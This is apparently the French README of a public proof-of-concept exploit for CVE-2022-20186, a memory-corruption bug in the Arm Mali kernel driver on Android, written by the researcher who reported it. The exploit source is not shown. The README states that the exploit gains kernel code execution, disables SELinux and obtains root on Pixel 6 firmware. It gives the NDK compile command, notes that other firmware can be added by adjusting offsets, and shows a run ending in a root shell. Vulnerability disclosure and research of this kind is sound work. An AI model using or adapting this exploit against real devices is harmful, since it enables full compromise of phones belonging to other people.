
Exploit pour CVE-2022-20186 ciblant la corruption mémoire du pilote de noyau Arm Mali sur Android. Obtient l'exécution arbitraire de code noyau, désactive SELinux, et élève les privilèges à root sur Pixel 6 avec prise en charge de plusieurs versions de firmware.
Le compte-rendu peut être trouvé ici. Il s'agit d'un bogue dans le pilote noyau Arm Mali que j'ai signalé en janvier 2022. Le bogue peut être utilisé pour obtenir une exécution arbitraire de code noyau depuis le domaine d'application non fiable, ce qui est ensuite utilisé pour désactiver SELinux et obtenir un accès root.
L'exploit est testé sur le Google Pixel 6 et supporte les niveaux de patch de novembre 2021 à février 2022. Il est facile d'ajouter le support d'autres firmwares en modifiant quelques décalages d'image. Pour référence, j'ai utilisé la commande suivante pour compiler avec clang dans ndk-21 :
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
L'exploit échoue rarement et peut être réessayé sans planter l'appareil. En cas de succès, il devrait désactiver SELinux et obtenir un accès root.
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #